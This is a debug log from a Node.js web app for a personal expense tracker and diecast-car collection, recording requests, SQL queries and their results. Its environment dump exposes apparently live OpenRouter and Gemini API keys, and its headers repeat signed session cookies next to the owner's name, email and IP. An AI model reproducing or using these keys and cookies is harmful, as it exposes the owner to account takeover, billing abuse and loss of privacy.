    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-reports'
}
2025-12-20T12:10:00.203Z server-connect:app Executing action step identify
2025-12-20T12:10:00.203Z server-connect:app options: { provider: 'security' }
2025-12-20T12:10:00.203Z server-connect:output identity: 1
2025-12-20T12:10:00.674Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T12:10:00.675Z server-connect:app Executing action step identify
2025-12-20T12:10:00.675Z server-connect:app options: { provider: 'security' }
2025-12-20T12:10:00.675Z server-connect:output identity: 1
2025-12-20T12:10:00.675Z server-connect:app Executing action step restrict
2025-12-20T12:10:00.675Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T12:10:00.675Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T12:10:00.676Z server-connect:output restrict: undefined
2025-12-20T12:10:00.676Z server-connect:app Executing action step select
2025-12-20T12:10:00.676Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T12:10:00.676Z server-connect:app Executing action step identify
2025-12-20T12:10:00.676Z server-connect:app options: { provider: 'security' }
2025-12-20T12:10:00.676Z server-connect:output identity: 1
2025-12-20T12:10:00.676Z server-connect:app Executing action step restrict
2025-12-20T12:10:00.676Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T12:10:00.679Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T12:10:00.680Z server-connect:output restrict: undefined
2025-12-20T12:10:00.680Z server-connect:app Executing action step single
2025-12-20T12:10:00.680Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T12:10:00.681Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T12:10:00.685Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2025-12-20T12:10:00.685Z server-connect:app Executing action step identify
2025-12-20T12:10:00.685Z server-connect:app options: { provider: 'security' }
2025-12-20T12:10:00.685Z server-connect:output identity: 1
2025-12-20T12:10:00.685Z server-connect:app Executing action step restrict
2025-12-20T12:10:00.685Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T12:10:00.685Z server-connect:output restrict: undefined
2025-12-20T12:10:00.685Z server-connect:app Executing action step custom
2025-12-20T12:10:00.685Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2025-12-20T12:10:00.688Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 4 },
  { series: 107, name: 'HW EV', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 92, name: 'Fantasy', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 150, name: 'HW Reverse Rake', total: 2 },
  { series: 149, name: 'HW Compact Kings', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 151, name: 'HW Rod Squad', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 }
]
2025-12-20T12:10:03.310Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2025-12-20T12:10:03.311Z server-connect:app Executing action step identify
2025-12-20T12:10:03.311Z server-connect:app options: { provider: 'security' }
2025-12-20T12:10:03.311Z server-connect:output identity: 1
2025-12-20T12:10:03.311Z server-connect:app Executing action step restrict
2025-12-20T12:10:03.311Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T12:10:03.312Z server-connect:output restrict: undefined
2025-12-20T12:10:03.312Z server-connect:app Executing action step custom
2025-12-20T12:10:03.312Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2025-12-20T12:10:03.313Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 68 },
  { brand_id: 72, name: 'Majorette', total: 23 },
  { brand_id: 73, name: 'Matchbox', total: 20 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 }
]
2025-12-20T12:30:48.767Z server-connect:router Serving templateView /
2025-12-20T12:30:48.767Z server-connect:app Executing action step identify
2025-12-20T12:30:48.767Z server-connect:app options: { provider: 'security' }
2025-12-20T12:30:48.767Z server-connect:output identity: 1
2025-12-20T12:30:48.767Z server-connect:app Executing action step restrict
2025-12-20T12:30:48.767Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T12:30:48.770Z server-connect:output restrict: undefined
2025-12-20T12:30:48.770Z server-connect:app Executing action step restrict
2025-12-20T12:30:48.770Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T12:30:48.770Z server-connect:output restrict: undefined
2025-12-20T12:30:48.770Z server-connect:router Render template layouts/main
2025-12-20T12:30:48.770Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-20T12:30:49.802Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T12:30:49.803Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T12:30:49.803Z server-connect:app Executing action step identify
2025-12-20T12:30:49.803Z server-connect:app options: { provider: 'security' }
2025-12-20T12:30:49.804Z server-connect:output identity: 1
2025-12-20T12:30:49.804Z server-connect:app Executing action step restrict
2025-12-20T12:30:49.804Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T12:30:49.804Z server-connect:app Executing action step identify
2025-12-20T12:30:49.804Z server-connect:app options: { provider: 'security' }
2025-12-20T12:30:49.804Z server-connect:output identity: 1
2025-12-20T12:30:49.804Z server-connect:app Executing action step restrict
2025-12-20T12:30:49.804Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T12:30:49.804Z server-connect:output restrict: undefined
2025-12-20T12:30:49.804Z server-connect:app Executing action step single
2025-12-20T12:30:49.804Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T12:30:49.805Z server-connect:output restrict: undefined
2025-12-20T12:30:49.805Z server-connect:app Executing action step select
2025-12-20T12:30:49.805Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T12:30:49.805Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T12:30:49.809Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
